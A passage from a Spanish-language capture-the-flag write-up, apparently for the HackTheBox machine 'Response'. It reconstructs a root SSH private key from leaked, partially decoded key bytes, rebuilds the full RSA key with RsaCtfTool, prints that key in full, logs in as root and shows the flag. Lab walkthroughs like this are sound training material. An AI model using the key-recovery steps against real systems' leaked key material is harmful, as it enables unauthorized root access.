00000080: 9468 e3ec 35ca 456a 43f8 bf19 ca2f ebb0  .h..5.EjC..../..
00000090: eaa1 68a9 1752 6729 dd80 0ad9 2832 b6e9  ..h..Rg)....(2..
000000a0: 9ed9 cdd5 7696 7da4 ca22 dfa2 437c 59b6  ....v.}.."..C|Y.
000000b0: 311d e43f eff8 d505 77fb d415 35f9 783c  1..?....w...5.x<
000000c0: 5f8e 278d 5a77 5dff 603b a718 55aa 9bd7  _.'.Zw].`;..U...
000000d0: 106c 67b6 c6f1 66ab 9327 23ed 9000 0000  .lg...f..'#.....
000000e0: d726 f6f7 4407 2657 3706 f6e7 3650 1020  .&..D.&W7...6P. 
000000f0: 3040 50                                  0@P

El siguiente byte después del nulo, coincide con el tamaño de la id_rsa. Puedo tratar de desplazarlo más abajo, introduciendole bytes de mi lado para así conseguir el valor de “q” o “n”. Introduzco varias “A” al principio de la cadena detro del archivo

Una vez le hago el decode se exfiltra data, pero no la suficiente.

cat data | base64 -d | xxd
00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000010: 0000 0000 0000 0000 0000 0000 09ed 11dd  ................
00000020: ca9d 6369 91bc 29db cbd5 81ab 143a adc2  ..ci..)......:..
00000030: 4016 c339 0000 00c1 00c7 0b1a 1970 99c0  @..9.........p..
00000040: c6ff 247f 3c5e f1a1 bb50 68db 3a26 2216  ..$.<^...Ph.:&".
00000050: 9532 b6cd e71e 2add ced9 d2ef 609a 45ce  .2....*.....`.E.
00000060: f8d5 8ca5 7ed3 db49 7438 1108 86b5 ba0d  ....~..It8......
00000070: 03ac c62b 3f0a b4b9 bbaf 45ea d519 8e55  ...+?.....E....U
00000080: 1d34 4d73 204e c816 fd90 bab3 3034 bf3d  .4Ms N......04.=
00000090: fd29 e541 b7b6 e316 fe22 369f 2946 8e3e  .).A....."6.)F.>
000000a0: c35c a456 a43f 8bf1 9ca2 febb 0eaa 168a  .\.V.?..........
000000b0: 9175 2672 9dd8 00ad 9283 2b6e 99ed 9cdd  .u&r......+n....
000000c0: 5769 67da 4ca2 2dfa 2437 c59b 6311 de43  Wig.L.-.$7..c..C
000000d0: feff 8d50 577f bd41 535f 9783 c5f8 e278  ...PW..AS_.....x
000000e0: d5a7 75df f603 ba71 855a a9bd 7106 c67b  ..u....q.Z..q..{
000000f0: 6c6f 166a b932 723e d900 0000 0d72 6f6f  lo.j.2r>.....roo
00000100: 7440 7265 7370 6f6e 7365 0102 0304 05    t@response.....

El delimitador que tenía (byte posterior al nulo), vale 193 en decimal

Python 3.10.9 (main, Dec  7 2022, 13:47:07) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xc1
193

Lo que quiere decir que cada línea tiene 16 bytes y tendría que introducir 29 para obtener eñ vañpr de “n”

base64 -d data | xxd -seek 29 -l 193 -p

Me clono el repositorio de RsaCTFTool, para automatizar el cálculo de los valores

python3 RsaCtfTool.py --dumpkey --key ../authorized_keys
private argument is not set, the private key will not be displayed, even if recovered.
n: 3590773335101238071859307517426880690889840523373109884703778010764218094115323788644947218525265498470146994925454017059004091762707129955524413436586717182608324763300282675178894829982057112627295254493287098002679639669820150059440230026463333555689667464933204440020706407713635415638301509611028928080368097717646239396715845563655727381707204991971414197232171033109308942706448793290810366211969147142663590876235902557427967338347816317607468319013658232746475644358504534903127732182981965772016682335749548359468750099927184491041818321309183225976141161842377047637016333306802160159421621687348405702117650608558846929592531719185754360656942555261793483663585574756410582955655659226850666667278286719778179120315714973739946191120342805835285916572624918386794240440690417793816096752504556412306980419975786379416200263786952472798045196058762477056525870972695021604337904447201141677747670148003857478011217
e: 65537

Creo la clave privada para el usuario root

python3 RsaCtfTool.py -n 3590773335101238071859307517426880690889840523373109884703778010764218094115323788644947218525265498470146994925454017059004091762707129955524413436586717182608324763300282675178894829982057112627295254493287098002679639669820150059440230026463333555689667464933204440020706407713635415638301509611028928080368097717646239396715845563655727381707204991971414197232171033109308942706448793290810366211969147142663590876235902557427967338347816317607468319013658232746475644358504534903127732182981965772016682335749548359468750099927184491041818321309183225976141161842377047637016333306802160159421621687348405702117650608558846929592531719185754360656942555261793483663585574756410582955655659226850666667278286719778179120315714973739946191120342805835285916572624918386794240440690417793816096752504556412306980419975786379416200263786952472798045196058762477056525870972695021604337904447201141677747670148003857478011217 -p 1916050306205333561419340654997247210048413641801348970960079514616664134719102135041323559808823287507117764495506641667502188027100449148337242917863760454705051745311589368966639723256790995465786349803085767646492327358529192956998140247230141324083433547842337416562412168069467780529408980611520951488107555503940773583448434212344944450737794180001456574166216535263941314645573920302378030613909969529154033431308763003703277642056872726635405506000634681 -q 1874049613140184843621060844430875438039715136676390587014490642667648348834729578670572218770675017671955165909510372680231227997794797813783251855034499318060383466632797554895089403256742241869718483308458055165937168105025970618417112700682332538743333548471395327848077917895144087346832755607400573406688527717696386155103840198329730569043884613339720346942456798464865298511514240849350597034988561850631574781811925376637626743947768533920575522310602457 -e 65537 --private

Results for /tmp/tmpen2uawvr:

Private key :
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----

Me conecto a la máquina y puedo visualizar la segunda flag

ssh root@response.htb -i id_rsa

root@response:~# cat /root/root.txt
ee0264c3a388e06683203ae9f2dd4a99